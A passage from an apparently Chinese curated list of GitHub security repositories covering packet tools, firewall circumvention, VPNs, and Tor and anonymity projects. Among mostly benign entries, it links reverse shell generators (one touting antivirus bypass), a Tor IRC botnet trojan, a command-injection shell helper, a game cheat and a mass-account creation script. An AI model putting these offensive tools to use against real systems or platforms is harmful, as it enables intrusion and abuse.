- [**405**星][13d] [HTML] [thinkst/canarytokens](https://github.com/thinkst/canarytokens) 跟踪网络上的活动和动作
- [**393**星][3m] [Go] [alphasoc/flightsim](https://github.com/alphasoc/flightsim) 生成恶意网络流量并评估控件的实用程序
- [**386**星][3y] [Py] [sensepost/dns-shell](https://github.com/sensepost/dns-shell) 基于DNS的交互式Shell
- [**333**星][1y] [Ruby] [packetfu/packetfu](https://github.com/packetfu/packetfu) 数据包篡改工具。Ruby编写
- [**304**星][2y] [JS] [kristian-lange/net-glimpse](https://github.com/kristian-lange/net-glimpse) 网络流量（以太网和Internet）的实时可视化，以及通过WebSocket从网络接口Steaming header数据
- [**267**星][4m] [Py] [fwkz/riposte](https://github.com/fwkz/riposte) 将应用程序包装在定制的交互式Shell中。Python包
- [**259**星][3m] [Go] [sachaos/tcpterm](https://github.com/sachaos/tcpterm) 数据包可视化
- [**227**星][3y] [Py] [praetorian-code/pyshell](https://github.com/praetorian-code/pyshell) 简化基于Web的命令注入，尽可能地模拟交互式shell的感觉
- [**206**星][3y] [Py] [countercept/doublepulsar-c2-traffic-decryptor](https://github.com/countercept/doublepulsar-c2-traffic-decryptor) 处理PCAP文件，解密发送到DOUBLEPULSAR implant的C2流量
- [**134**星][10m] [C] [yadutaf/tracepkt](https://github.com/yadutaf/tracepkt) 跟踪 Linux 系统 PING 数据包跨网络接口和命名空间的路线，支持 IPv4 及 IPv6
- [**104**星][2y] [Shell] [joarleymoraes/net_guard](https://github.com/joarleymoraes/net_guard) 命令行工具, 利用 ARP 协议检测网络中的未知设备
- [**53**星][3y] [Py] [wraith-wireless/pyric](https://github.com/wraith-wireless/pyric) 无线接口控制器，Python编写
- [**43**星][2d] [Go] [x-way/iptables-tracer](https://github.com/x-way/iptables-tracer) 将跟踪点插入正在运行的配置中，以观察数据包通过iptables链的路径
- [**31**星][5m] [Py] [mechpen/sockdump](https://github.com/mechpen/sockdump) 使用bpf转储unix域套接字流量
- [**21**星][2y] [C] [circl/pcapdj](https://github.com/circl/pcapdj) dispatch pcap files
- [**20**星][5y] [Py] [mk-fg/nflog-zmq-pcap-pipe](https://github.com/mk-fg/nflog-zmq-pcap-pipe) Tool to collect nflog and pipe it to a pcap stream/file over network (0mq) for real-time (or close to) analysis
- [**17**星][5m] [stvemillertime/absolutely-positively-not-hacking-back-with-pcap](https://github.com/stvemillertime/absolutely-positively-not-hacking-back-with-pcap) Streaming Unexpected Network Byte Sequences with High Probability of Blue Screening or Otherwise Crashing Attacker Command-and-Control Nodes
- [**15**星][7m] [C] [magisterquis/pcapknock](https://github.com/magisterquis/pcapknock) Watches for trigger packets, runs commands or spawns a shell
- [**15**星][7y] [Py] [opensecurityresearch/clipcaptcha](https://github.com/opensecurityresearch/clipcaptcha) A Tool for Impersonating CAPTCHA Providers
- [**14**星][2m] [OCaml] [mirage/ocaml-pcap](https://github.com/mirage/ocaml-pcap) OCaml code for generating and analysing pcap (packet capture) files
- [**13**星][19d] [C++] [fkie-cad/pcapfs](https://github.com/fkie-cad/pcapfs) A FUSE module to mount captured network data
- [**11**星][3y] [Perl] [icgc-tcga-pancancer/pcap-core](https://github.com/icgc-tcga-pancancer/pcap-core) Legacy, see cancerit/PCAP-core: NGS reference implementations and helper code for the IGCG/TCGA Pan-Cancer Analysis Project
- [**7**星][6y] [JS] [sparrowprince/webpcap](https://github.com/sparrowprince/webpcap) A web-based packet analyzer (client/server architecture). Useful for analyzing distributed applications or embedded devices.
- [**4**星][6y] [C] [hbock/libairpcap-nl](https://github.com/hbock/libairpcap-nl) Implementation of AirPcap library, targetting the NL80211 protocol.
- [**3**星][4y] [Py] [reyammer/csawctf-quals-2015-pcapin](https://github.com/reyammer/csawctf-quals-2015-pcapin)
# <a id="837c9f22a3e1bb2ce29a0fb2bcd90b8f"></a>翻墙&&GFW
***
## <a id="af9d2b4988d35a2a634c042a1c66bb8c"></a>工具
### <a id="fe72fb9498defbdbb98448511cd1eaca"></a>未分类
- [**2937**星][12m] [Shell] [91yun/serverspeeder](https://github.com/91yun/serverspeeder) 锐速破解版
### <a id="6e28befd418dc5b22fb3fd234db322d3"></a>翻墙
- [**13874**星][10d] [JS] [bannedbook/fanqiang](https://github.com/bannedbook/fanqiang) 翻墙-科学上网
- [**11682**星][13d] [getlantern/download](https://github.com/getlantern/download) Lantern官方版本下载 蓝灯 翻墙 科学上网 外网 加速器 梯子 路由
- [**3960**星][7d] [hq450/fancyss_history_package](https://github.com/hq450/fancyss_history_package) 科学上网插件的离线安装包储存在这里
- [**3121**星][21d] [Shell] [softwaredownload/openwrt-fanqiang](https://github.com/softwaredownload/openwrt-fanqiang) 最好的路由器翻墙、科学上网教程—OpenWrt—shadowsocks
- [**1261**星][1y] [PHP] [you2php/delete](https://github.com/you2php/delete) （迫于压力，本项目停止维护，请尽快fork代码。1月1日之后删除项目）[免翻墙工具]A free and open-source youtube video proxy script [Written in PHP]
- [**982**星][3y] [Py] [dowsnature/dowsdns](https://github.com/dowsnature/dowsdns) 快速翻跃中国防火墙
- [**847**星][3y] [C] [examplecode/mproxy](https://github.com/examplecode/mproxy) c 语言实现的一个最小的http代理，支持翻墙
- [**504**星][2m] [hugetiny/awesome-vpn](https://github.com/hugetiny/awesome-vpn) A curated list of awesome free VPNs and proxies.免费的代理,科学上网,翻墙，梯子大集合
- [**360**星][2y] [udpsec/awesome-vpn](https://github.com/udpsec/awesome-vpn) 科学上网的有趣项目集锦，欢迎大家pr自己喜欢的项目到这里。
- [**341**星][13d] [Go] [getlantern/lantern](https://github.com/getlantern/lantern) Lantern官方版本下载 蓝灯 翻墙 科学上网 外网 加速器 梯子 路由 lantern censorship-circumvention censorship gfw vpn accelerator
- [**315**星][7m] [waylau/vpngate-mirrors](https://github.com/waylau/vpngate-mirrors) Here are the newset VPN Gate web site’s mirrors .With the VPN Gate, you can get through your government's firewall to browse restricted websites.提供最新的访问 VPN Gate 镜像网站,通过使用 VPN 自由访问互联网(翻墙)！
- [**266**星][3y] [waylau/free-vpn](https://github.com/waylau/free-vpn) We Provide Newset Free VPN Service. PC, mobile phones and network appliances, no software installation. With the VPN Service,you can get through your government's firewall to browse restricted websites.提供最新的免费的 VPN 服务,通过使用 VPN 自由访问互联网(翻墙)！无论是PC端，移动端都无需安装客户端。
- [**250**星][17d] [HTML] [gfw-breaker/open-proxy](https://github.com/gfw-breaker/open-proxy) 一键部署被墙网站反向代理; 免翻墙访问被禁网站
- [**132**星][2y] [sky8964/home](https://github.com/sky8964/home) 【墙外到墙内搬运工】郭文贵 推特党 兲朝浮世绘 小民之心 辛灏年 曹长青 袁红冰 旗袍 袁腾飞 翻墙 科学上网 | 搬运工 自由 民主 法治 宪政 人权 平等 视频 音频 文字版 在线 播放 下载 民运 维权 王岐山 孟建柱 孙力军 傅振华 江棉恒 江泽民 习近平 温家宝 王芳 董卿 杨澜 周小平 吴征 唐柏桥 e租宝 泛亚 共产党 赵家 盜国贼 内幕 黑暗 灾难 专政 上访 游行 暴乱 欺骗 谎言 腐败 通奸 权贵 马航 老兵 活摘 启蒙 墙外 墙内 防火墙 防火长城 功夫网 党文化 民阵 爆料 九评 杨建利 郭宝胜 昭明 反共 法轮功 自媒体 Youtube 油管 推特 Twitter 网盘 传播 关注 五毛 自干五 特务 红二代 红三代 官二代 土共 共匪
- [**85**星][2y] [Py] [wanjunzh/ssct](https://github.com/wanjunzh/ssct) shadowsocks 包装器，用于持续绕过防火墙
- [**59**星][3y] [Go] [jijinggang/golocproxy](https://github.com/jijinggang/golocproxy) 轻量级超强反向代理软件，用go语言开发，通过公共可知的服务器端口代理，把局域网内任何主机的本地服务发布给局域网外的用户，可用来跨越各种防火墙。
- [**58**星][7m] [JS] [yzyjim/shadowsocks-back-china-pac](https://github.com/yzyjim/shadowsocks-back-china-pac) Shadowsocks翻墙回国PAC规则
- [**57**星][8d] [zscdumin/vpn](https://github.com/zscdumin/vpn) ShadowSocks 翻墙（收费服务器合租套餐：150元/年、50元/季度、20元/月，需要的可以联系我）
- [**46**星][1y] [Shell] [witee/note-shadowsocks](https://github.com/witee/note-shadowsocks) 公司网关使用 shadowsocks 搭建翻墙网络
- [**45**星][4y] [Py] [cdhigh/forwarder](https://github.com/cdhigh/forwarder) 简单的HTTP请求转发服务器，配合KIndleEar翻入墙内或绕过部分网站对GAE的IP地址的封锁。灵感来自
- [**41**星][11m] [C++] [guohaodongpu/huangyexingdong-bug](https://github.com/guohaodongpu/huangyexingdong-bug) 荒野行动辅助，透视穿墙。我把源码发出来，
- [**40**星][2y] [Java] [jwnie/proxyservice](https://github.com/jwnie/proxyservice) 抓取网上公开代理，维护可供爬虫使用的IP池，区分墙内墙外、http/https/socks代理。
- [**38**星][4m] [Lua] [wubonetcn/luawaf](https://github.com/wubonetcn/luawaf) A secure and privately deployable web application firewall(WAF).一个安全、可私有部署的Web应用防火墙(WAF)。
- [**32**星][3y] [archimboldimao/surgeconfig](https://github.com/archimboldimao/surgeconfig) 这是我日常使用 Surge 配置 Shadowsocks 代理翻墙的文件。
- [**30**星][4y] [comeforu2012/fq_faq](https://github.com/comeforu2012/fq_faq) 翻墙常见问题
- [**27**星][5m] [HTML] [firewalltutor/firewalltutor.github.io](https://github.com/firewalltutor/firewalltutor.github.io) fire wall tutor 自建梯子教程 Google 翻墙 科学上网 代理工具 一键安装
- [**24**星][1y] [PS] [jiangxianli/googlehosttool](https://github.com/jiangxianli/googlehosttool) 一键添加最新google hosts文件到本地hosts文件中，google 翻墙访问工具，适用windows、linux、mac
- [**21**星][2y] [Py] [sirpsycho/firecall](https://github.com/sirpsycho/firecall) firecall: 直接向Cisco ASA防火墙发送命令, 无需登录防火墙后再做修改
### <a id="e9cc4e00d5851a7430a9b28d74f297db"></a>GFW
- [**14867**星][2m] [gfwlist/gfwlist](https://github.com/gfwlist/gfwlist) gfwlist
- [**5116**星][3d] [ASP] [hq450/fancyss](https://github.com/hq450/fancyss) fancyss is a project providing tools to across the GFW on asuswrt/merlin based router.
- [**4922**星][1y] [Go] [yinghuocho/firefly-proxy](https://github.com/yinghuocho/firefly-proxy) A proxy software to help circumventing the Great Firewall.
- [**3712**星][] [acl4ssr/acl4ssr](https://github.com/acl4ssr/acl4ssr) SSR 去广告ACL规则/SS完整GFWList规则，Telegram频道订阅地址
- [**3632**星][3m] [C++] [trojan-gfw/trojan](https://github.com/trojan-gfw/trojan) An unidentifiable mechanism that helps you bypass GFW.
- [**2781**星][2y] [C] [seclab-ucr/intang](https://github.com/seclab-ucr/intang) research project for circumventing the "TCP reset attack" from the Great Firewall of China (GFW) by disrupting/desynchronizing the TCP Control Block (TCB) on the censorship devices.
- [**1852**星][1y] [Py] [jinnlynn/genpac](https://github.com/jinnlynn/genpac) PAC/Dnsmasq/Wingy file Generator, working with gfwlist, support custom rules.
- [**1407**星][8d] [Java] [chinashiyu/gfw.press](https://github.com/chinashiyu/gfw.press) GFW.Press新一代军用级高强度加密抗干扰网络数据高速传输软件
- [**1195**星][7y] [Py] [mothran/mongol](https://github.com/mothran/mongol) A simple python tool to pinpoint the IP addresses of machines working for the Great Firewall of China.
- [**626**星][4y] [JS] [n0wa11/gfw_whitelist](https://github.com/n0wa11/gfw_whitelist) A Pac File of the Whitelisted Websites for the Great Firewall of China (GFW)
- [**613**星][8m] [Shell] [cokebar/gfwlist2dnsmasq](https://github.com/cokebar/gfwlist2dnsmasq) A shell script which convert gfwlist into dnsmasq rules. Python version:
- [**350**星][22d] [Shell] [fanyueciyuan/eazy-for-ss](https://github.com/fanyueciyuan/eazy-for-ss) A Bypassgfw Collection
- [**290**星][3y] [Py] [cokebar/gfwlist2dnsmasq_python](https://github.com/cokebar/gfwlist2dnsmasq_python) Just another python script to auto-generate dnsmasq ipset rules using gfwlist. Shell script version:
- [**269**星][6m] [Shell] [yangchuansheng/love-gfw](https://github.com/yangchuansheng/love-gfw)
- [**213**星][1m] [Shell] [zfl9/gfwlist2privoxy](https://github.com/zfl9/gfwlist2privoxy) 将 gfwlist.txt（Adblock Plus 规则）转换为 privoxy.action
- [**167**星][13d] [Py] [paloaltonetworks/ansible-pan](https://github.com/paloaltonetworks/ansible-pan) Ansible modules for Palo Alto Networks NGFWs
- [**148**星][11m] [Shell] [aturl/awesome-anti-gfw](https://github.com/aturl/awesome-anti-gfw) 突破网络审查和封锁的开源工具清单。
- [**123**星][7y] [steamedfish/gfwiplist](https://github.com/steamedfish/gfwiplist) 可用于翻墙路由表的墙外IP列表
- [**116**星][2y] [gfwlist/tinylist](https://github.com/gfwlist/tinylist) Tiny version of gfwlist, focusing on common websites ONLY
- [**102**星][12m] [searking/ggfwzs_in_hack](https://github.com/searking/ggfwzs_in_hack) hack VIP for chrome-extension 谷歌访问助手
- [**86**星][22d] [Go] [asche910/flynet](https://github.com/asche910/flynet) A powerful TCP/UDP tool, which support socks5 proxy by tcp and udp, http proxy and NAT traversal. This tool can help you bypass gfw easily
- [**79**星][3m] [comwrg/fuck-gfw](https://github.com/comwrg/fuck-gfw) 记录各个包管理器使用代理的方法, 因为GFW已经浪费了已经数不清的时间, FUCK GFW
- [**55**星][3m] [Java] [arloor/httpproxy](https://github.com/arloor/httpproxy) a netty-based http proxy that breaks the GFW。
- [**30**星][10m] [smallstrong0/ss](https://github.com/smallstrong0/ss) I spend many ways to break the GFW,and this is my destination.
- [**28**星][3y] [iqiancheng/shadowsocks-awesome](https://github.com/iqiancheng/shadowsocks-awesome) 一个实时更新的实用gfwlist清单。用于ss的PAC自动分流。
- [**26**星][2m] [HTML] [trojan-tutor/trojan-tutor.github.io](https://github.com/trojan-tutor/trojan-tutor.github.io) trojan 教程 自建梯子教程 trojan教程 trojan-gfw 科学上网 代理工具 翻墙 Ubuntu Debian 小白教程 https伪装
- [**24**星][13d] [kylebing/sslist](https://github.com/kylebing/sslist) 优化访问速度的小型 gfw (Great Fire Wall) 规则列表 gfwlist
- [**20**星][t] [Py] [natescarlet/gfwlist.acl](https://github.com/natescarlet/gfwlist.acl)
- [**18**星][5d] [JS] [wri/gfw-mapbuilder](https://github.com/wri/gfw-mapbuilder) Template for the GFW Map Builder that is available through ArcGIS Online, as a stand-alone web application, & a library to build custom Forest Atlas web applications
- [**17**星][6d] [awesome-doge/breaking-gfw-book](https://github.com/awesome-doge/breaking-gfw-book) 整理所有的翻牆方法，持續更新....歡迎PR
- [**15**星][3m] [Shell] [zfl9/gfwlist2dnsmasq](https://github.com/zfl9/gfwlist2dnsmasq) 将 gfwlist.txt（Adblock Plus 规则）转换为 dnsmasq.conf
- [**11**星][1y] [C#] [limiqs/litrojan](https://github.com/limiqs/litrojan) Litrojan - Lite User Interface for Trojan, an unidentifiable mechanism that helps you bypass GFW.
- [**11**星][1y] [Shell] [sutra/gfwlist2dnsmasq.awk](https://github.com/sutra/gfwlist2dnsmasq.awk) Convert gfwlist into dnsmasq configuration file.
- [**6**星][5m] [Shell] [jm33-m0/w411brk](https://github.com/jm33-m0/w411brk) linux透明翻墙代理搭建 / some tools for gfw evasion
- [**4**星][2y] [Go] [cn4/gfwlist2glider](https://github.com/cn4/gfwlist2glider) gfwlist to glider rule file
- [**3**星][2y] [Py] [fpfeng/gfwlist2potatso](https://github.com/fpfeng/gfwlist2potatso) transfer gfwlist to potatso rulesets
- [**2**星][8m] [JS] [lifenjoiner/ezx-pac](https://github.com/lifenjoiner/ezx-pac) ez (Easylist) + x (gfwlist) pac (Proxy Auto-Config) file template and auto generating for IE/EDGE and firefox
- [**1**星][8m] [C++] [guidovranken/gfwx-fuzzers](https://github.com/guidovranken/gfwx-fuzzers)
***
## <a id="8c94b343a7f1fb63a1ac538d032425a0"></a>文章
# <a id="b03a7c05fd5b154ad593b6327578718b"></a>匿名网络
***
## <a id="6e80463404d46f0493cf6e84597e4b5c"></a>工具
### <a id="f0979cd783d1d455cb5e3207d574aa1e"></a>未分类
- [**90**星][1y] [Py] [thelinuxchoice/anonymouse](https://github.com/thelinuxchoice/anonymouse) Python script to send anonymous email using anonymouse.org
- [**36**星][11m] [Shell] [keeganjk/kali-anonymous](https://github.com/keeganjk/kali-anonymous)
- [**7**星][2y] [HTML] [surfer77/becominganonymous.com](https://github.com/surfer77/becominganonymous.com) The Becoming Anonymous website, you are welcome to contribute!
- [**5**星][4y] [HTML] [auth0-samples/auth0-anonymous-tracker](https://github.com/auth0-samples/auth0-anonymous-tracker) A cross-site anonymous user tracker.
- [**4**星][6m] [Go] [fentec-project/fe-anonymous-heatmap](https://github.com/fentec-project/fe-anonymous-heatmap) A demonstration of creating a location heatmap from encrypted data by using functional encryption.
### <a id="e99ba5f3de02f68412b13ca718a0afb6"></a>Tor&&&Onion&&洋葱
- [**3665**星][21d] [Py] [micahflee/onionshare](https://github.com/micahflee/onionshare) Securely and anonymously send and receive files, and publish onion sites
- [**2375**星][18d] [security-onion-solutions/security-onion](https://github.com/security-onion-solutions/security-onion) Linux distro for intrusion detection, enterprise security monitoring, and log management
- [**1731**星][3y] [Go] [s-rah/onionscan](https://github.com/s-rah/onionscan) OnionScan is a free and open source tool for investigating the Dark Web.
- [**1211**星][t] [ObjC] [onionbrowser/onionbrowser](https://github.com/onionbrowser/onionbrowser) An open-source, privacy-enhancing web browser for iOS, utilizing the Tor anonymity network
- 重复区段: [iOS->工具](#692d86299dedab073fbb6144a5b2bd64) |
- [**930**星][9m] [C#] [lachesis/scallion](https://github.com/lachesis/scallion) 基于GPU的Onion Hash生成器
- [**761**星][7y] [grugq/portal](https://github.com/grugq/portal) Personal Onion Router To Assure Liberty
- [**560**星][7y] [C] [katmagic/shallot](https://github.com/katmagic/shallot) 为您的隐藏服务创建自定义的.onion地址
- [**492**星][1m] [Shell] [trimstray/multitor](https://github.com/trimstray/multitor) Shell脚本, 创建多个Tor实例, 并使用HAProxy实现负载均衡
- 重复区段: [代理->工具->HAProxy](#d3069cac6097830d12f5933c9c8b7a77) |
- [**436**星][11d] [JS] [ayms/node-tor](https://github.com/ayms/node-tor) Javascript implementation of the Tor (or Tor like) anonymizer project (The Onion Router)
- [**424**星][3m] [Py] [nullhypothesis/exitmap](https://github.com/nullhypothesis/exitmap) A fast and modular scanner for Tor exit relays.
- [**423**星][3d] [Awk] [alecmuffett/eotk](https://github.com/alecmuffett/eotk) Enterprise Onion Toolkit
- [**419**星][1y] [Go] [kragniz/tor-controller](https://github.com/kragniz/tor-controller) Run Tor onion services on Kubernetes
- [**416**星][13d] [C] [deeponion/deeponion-legacy](https://github.com/deeponion/deeponion-legacy) Official Source Repo for DeepOnion - Anonymous Cryptocurrency on TOR Network (legacy)
- [**385**星][20d] [Py] [maqp/tfc](https://github.com/maqp/tfc) Tinfoil Chat - Onion-routed, endpoint secure messaging system
- [**379**星][9m] [Py] [k4m4/onioff](https://github.com/k4m4/onioff) url检测器，深度检测网页链接
- [**370**星][4d] [Py] [realgam3/pymultitor](https://github.com/realgam3/pymultitor) pymultitor：Python 多线程 Tor 脚本
- [**369**星][2m] [Py] [micahflee/torbrowser-launcher](https://github.com/micahflee/torbrowser-launcher) Securely and easily download, verify, install, and launch Tor Browser in Linux
- [**354**星][4d] [Py] [alecmuffett/real-world-onion-sites](https://github.com/alecmuffett/real-world-onion-sites) This is a list of substantial, commercial-or-social-good mainstream websites which provide onion services.
- [**316**星][2m] [Shell] [brainfucksec/kalitorify](https://github.com/brainfucksec/kalitorify) 用于Kali的shell脚本，使用iptables创建通过Tor网络的透明代理。可以执行各种检查：检查Tor出口节点（即在Tor代理下时的公共IP），或者Tor已正确配置，可以检查服务和网络设置。
- [**313**星][2y] [Shell] [milesrichardson/docker-onion-nmap](https://github.com/milesrichardson/docker-onion-nmap) 使用 nmap 扫描 Tor 隐藏网络的Docker 镜像。基于 alpine，使用proxychains 做 nmap 的包装
- [**280**星][6m] [Py] [mthbernardes/rsg](https://github.com/mthbernardes/rsg) 多种方式生成反向Shell
- [**279**星][2y] [Py] [dirtyfilthy/freshonions-torscraper](https://github.com/dirtyfilthy/freshonions-torscraper) Fresh Onions is an open source TOR spider / hidden service onion crawler hosted at zlal32teyptf4tvi.onion
- [**268**星][10m] [C++] [wbenny/mini-tor](https://github.com/wbenny/mini-tor) 使用 MSCNG/CryptoAPI 实现的 Tor 协议
- [**265**星][9d] [Go] [lightningnetwork/lightning-onion](https://github.com/lightningnetwork/lightning-onion) Onion Routed Micropayments for the Lightning Network
- [**262**星][2m] [C] [basil00/torwall](https://github.com/basil00/torwall) Tallow - Transparent Tor for Windows
- [**254**星][3y] [Haskell] [galoisinc/haskell-tor](https://github.com/galoisinc/haskell-tor) A Haskell implementation of the Tor protocol.
- [**251**星][4y] [Py] [whitepacket/zib-trojan](https://github.com/whitepacket/zib-trojan) The Open Tor Botnet (ZIB); Python-based forever-FUD IRC Trojan
- [**245**星][3y] [Py] [donnchac/onionbalance](https://github.com/donnchac/onionbalance) OnionBalance provides load-balancing and redundancy for Tor hidden services
- [**235**星][2d] [C] [ipsn/go-libtor](https://github.com/ipsn/go-libtor) Self-contained Tor from Go
- [**223**星][6m] [Py] [ruped24/toriptables2](https://github.com/ruped24/toriptables2) Tor Iptables script is an anonymizer that sets up iptables and tor to route all services and traffic including DNS through the Tor network.
- [**220**星][2y] [Py] [vlall/darksearch](https://github.com/vlall/darksearch) query cached onion sites, irc chatrooms, various pdfs, game chats, blackhat forums etc
- [**197**星][3m] [Py] [meejah/txtorcon](https://github.com/meejah/txtorcon) Twisted-based asynchronous Tor control protocol implementation. Includes unit-tests, examples, state-tracking code and configuration abstraction.
- [**196**星][1m] [C] [cathugger/mkp224o](https://github.com/cathugger/mkp224o) vanity address generator for tor onion v3 (ed25519) hidden services
- [**161**星][3y] [Shell] [hiroshimanrise/anonym8](https://github.com/hiroshimanrise/anonym8) Sets Transparent proxy tunnel through Tor, I2P, Privoxy, Polipo and modify DNS; Include Anonymizing Relay Monitor (arm), macchanger and wipe (Cleans ram/cache & swap-space) features, ID spoofing has never been so easy.
- [**147**星][2y] [C] [r-a-w/torproxy](https://github.com/r-a-w/torproxy) TorProxy is a tool which uses netfilter hooks in the linux kernel to route all network traffic through the Tor network
- [**141**星][2y] [Py] [gumblex/ptproxy](https://github.com/gumblex/ptproxy) Turn any pluggable transport for Tor into an obfuscating TCP tunnel.
- [**140**星][27d] [Py] [blueudp/deep-explorer](https://github.com/blueudp/deep-explorer) Deep Explorer is a tool developed in python which purpose is the search of hidden services in tor network, using Ahmia Browser and crawling the links obtained
- [**131**星][2y] [Shell] [coldhakca/tor-relay-bootstrap](https://github.com/coldhakca/tor-relay-bootstrap) Script to bootstrap a Debian server to be a set-and-forget Tor relay
- [**130**星][1y] [Py] [blacknbunny/mcreator](https://github.com/blacknbunny/mcreator) 反向Shell生成器, 自带AV绕过技术
- [**122**星][2y] [Ruby] [ehloonion/onionmx](https://github.com/ehloonion/onionmx) Onion delivery, so delicious
- [**119**星][2y] [alecmuffett/the-onion-diaries](https://github.com/alecmuffett/the-onion-diaries) Blog-type notes about building Onion sites
- [**119**星][28d] [C#] [joelverhagen/torsharp](https://github.com/joelverhagen/torsharp) Use Tor for your C# HTTP clients. Tor + Privoxy =
- [**114**星][12m] [C] [opsxcq/docker-tor-hiddenservice-nginx](https://github.com/opsxcq/docker-tor-hiddenservice-nginx) Easily setup a hidden service inside the Tor network
- [**114**星][8y] [C++] [moxie0/tortunnel](https://github.com/moxie0/tortunnel) A partial Onion Proxy implementation that's designed to build single-hop circuits through Tor exit nodes
- [**109**星][1m] [Py] [t0thkr1s/revshellgen](https://github.com/t0thkr1s/revshellgen) Reverse shell generator written in Python 3.
- [**107**星][2m] [ajvb/awesome-tor](https://github.com/ajvb/awesome-tor) A list of awesome Tor related projects, articles, papers, etc
- [**104**星][3m] [Ruby] [dryruby/tor.rb](https://github.com/dryruby/tor.rb) Tor.rb is a Ruby library for interacting with the Tor anonymity network.
- [**102**星][7m] [HTML] [ahmia/search](https://github.com/ahmia/search) Ahmia - Search Engine for onion services.
- [**95**星][11m] [Shell] [antitree/private-tor-network](https://github.com/antitree/private-tor-network) Run an isolated instance of a tor network in Docker containers
- [**95**星][2y] [guardianproject/tor-browser](https://github.com/guardianproject/tor-browser) UPDATE: Orfox is being replaced by Tor Browser for Android. All future work and comments will be handled by Tor Project.
- 重复区段: [Android->工具](#863839860fab4b8601905205cac9b54f) |
- [**94**星][22d] [Go] [lu4p/torat](https://github.com/lu4p/torat) ToRat is a Remote Administation tool written in Go using Tor as a transport mechanism and RPC for communication
- [**88**星][9m] [Shell] [jseidl/multi-tor](https://github.com/jseidl/multi-tor) Shellscript opens multiple TOR instances
- [**80**星][2m] [JS] [garethflowers/tor-browser-portable](https://github.com/garethflowers/tor-browser-portable) Portable version of the Tor Browser, for Windows
- [**79**星][11m] [Makefile] [onioniot/openwrt-packages](https://github.com/onioniot/openwrt-packages) Onion Packages Feed for OpenWRT
- [**79**星][3y] [C++] [torps/torps](https://github.com/torps/torps) The Tor Path Simulator
- [**78**星][6y] [Shell] [breadtk/onion_pi](https://github.com/breadtk/onion_pi) Make a Raspberry Pi into a Anonymizing Tor Proxy!
- [**78**星][3y] [Go] [cyphar/mkonion](https://github.com/cyphar/mkonion) A simple way to create a Tor onion service for existing Docker containers.
- [**76**星][4y] [PHP] [dunglas/php-torcontrol](https://github.com/dunglas/php-torcontrol) PHP TorControl, a library to control TOR
- [**76**星][3m] [Shell] [edu4rdshl/tor-router](https://github.com/edu4rdshl/tor-router) A tool that allow you to make TOR your default gateway and send all internet connections under TOR (as transparent proxy) for increase privacy/anonymity without extra unnecessary code.
- [**74**星][4y] [Go] [dlion/guesstor](https://github.com/dlion/guesstor) Bruteforces [.onion] domains
- [**74**星][20d] [JS] [ralphwetzel/theonionbox](https://github.com/ralphwetzel/theonionbox) Dashboard to monitor Tor node operations
- [**72**星][4y] [david415/ansible-tor](https://github.com/david415/ansible-tor) An Ansible role for using tor!
- [**68**星][8d] [Shell] [brainfucksec/archtorify](https://github.com/brainfucksec/archtorify) Transparent proxy through Tor for Arch Linux OS
- [**66**星][2m] [Java] [lmax-exchange/disruptor-proxy](https://github.com/LMAX-Exchange/disruptor-proxy) Byte-code generator to create Disruptor-backed proxies
- [**64**星][7m] [ObjC] [javerous/torchat-mac](https://github.com/javerous/torchat-mac) macOS native TorChat client
- [**60**星][5y] [Go] [jgrahamc/torhoney](https://github.com/jgrahamc/torhoney) Gets the list of TOR exit nodes and matches them with Project Honeypot data
- [**60**星][8m] [Py] [viele/onionskinrenderer](https://github.com/viele/onionskinrenderer) This is an Onion Skin Renderer for Autodesk Maya
- [**57**星][9m] [Go] [openbazaar/go-onion-transport](https://github.com/openbazaar/go-onion-transport) Tor onion transport for IPFS
- [**57**星][3m] [Py] [gosecure/freshonions-torscraper](https://github.com/gosecure/freshonions-torscraper) Fresh Onions is an open source TOR spider / hidden service onion crawler
- [**54**星][2y] [Java] [mirsamantajbakhsh/onionharvester](https://github.com/mirsamantajbakhsh/onionharvester) A small TOR Onion Address harvester for checking if the address is available or not.
- [**53**星][2y] [Go] [cmars/ormesh](https://github.com/cmars/ormesh) onion-routed mesh
- [**53**星][2y] [Py] [inurlx/cloudkill3r](https://github.com/inurlx/cloudkill3r) CLOUDKiLL3R bypasses Cloudflare protection service via TOR Browser using crimeflare !
- [**50**星][4y] [C++] [sri-csl/stegotorus](https://github.com/sri-csl/stegotorus) A Camouflage Proxy for the Tor Anonymity System
- [**50**星][1y] [JS] [lukechilds/onionite](https://github.com/lukechilds/onionite) Explore the Tor network
- [**49**星][13d] [C] [rahra/onioncat](https://github.com/rahra/onioncat) Official repository of OnionCat, the VPN adapter for Tor and I2P.
- [**46**星][6d] [Shell] [security-onion-solutions/securityonion-saltstack](https://github.com/security-onion-solutions/securityonion-saltstack)
- [**44**星][6d] [JS] [loki-project/loki-messenger](https://github.com/loki-project/loki-messenger) Loki Messenger - Onion routing based messenger
- [**43**星][10m] [PHP] [danwin/onion-link-list](https://github.com/danwin/onion-link-list) A set of scripts to list tor hidden services
- [**43**星][6m] [Shell] [infosecn1nja/ycsm](https://github.com/infosecn1nja/ycsm) This is a quick script installation for resilient redirector using nginx reverse proxy and letsencrypt compatible with some popular Post-Ex Tools (Cobalt Strike, Empire, Metasploit, PoshC2).
- [**43**星][2y] [Py] [mthbernardes/ipchecker](https://github.com/mthbernardes/ipchecker) Check if a IP is from tor or is a malicious proxy
- [**38**星][2y] [Java] [adrianbzg/twitter-follow-exploit](https://github.com/adrianbzg/twitter-follow-exploit) Automated Twitter mass account creation and follow using Selenium and Tor VPN
- [**38**星][5y] [Shell] [jivoi/ansible-pentest-with-tor](https://github.com/jivoi/ansible-pentest-with-tor) Use Tor for anonymous scanning with nmap
- [**37**星][1m] [Shell] [security-onion-solutions/securityonion-elastic](https://github.com/security-onion-solutions/securityonion-elastic) Security Onion Elastic Stack
- [**36**星][4y] [Java] [onionmail/onionmail](https://github.com/onionmail/onionmail) TOR Mail encrypted server for Hidden Services
- [**36**星][2m] [Shell] [itshaadi/torbox](https://github.com/itshaadi/torbox) Container-based Tor access point (Anonymizing Middlebox).
- [**35**星][5y] [Py] [miserlou/onionchat](https://github.com/miserlou/onionchat) Anonymous chat. No Javascript.
- [**32**星][5m] [Py] [mikemeliz/torcrawl.py](https://github.com/mikemeliz/torcrawl.py) Crawl and extract (regular or onion) webpages through TOR network
- [**31**星][2y] [KiCad Layout] [5n44p/omega-dock-new](https://github.com/5n44p/omega-dock-new) A dock for Onion omega, omega2 and omega2+. It features: Microusb for power supply, USB host, Ethernet
- [**31**星][5y] [Py] [glamrock/stormy](https://github.com/glamrock/stormy) Easy creation of Tor Hidden Services
- [**31**星][5y] [Shell] [patrickod/docker-tor-hidden-services](https://github.com/patrickod/docker-tor-hidden-services) A simple way of exposing any docker container as a tor hidden service
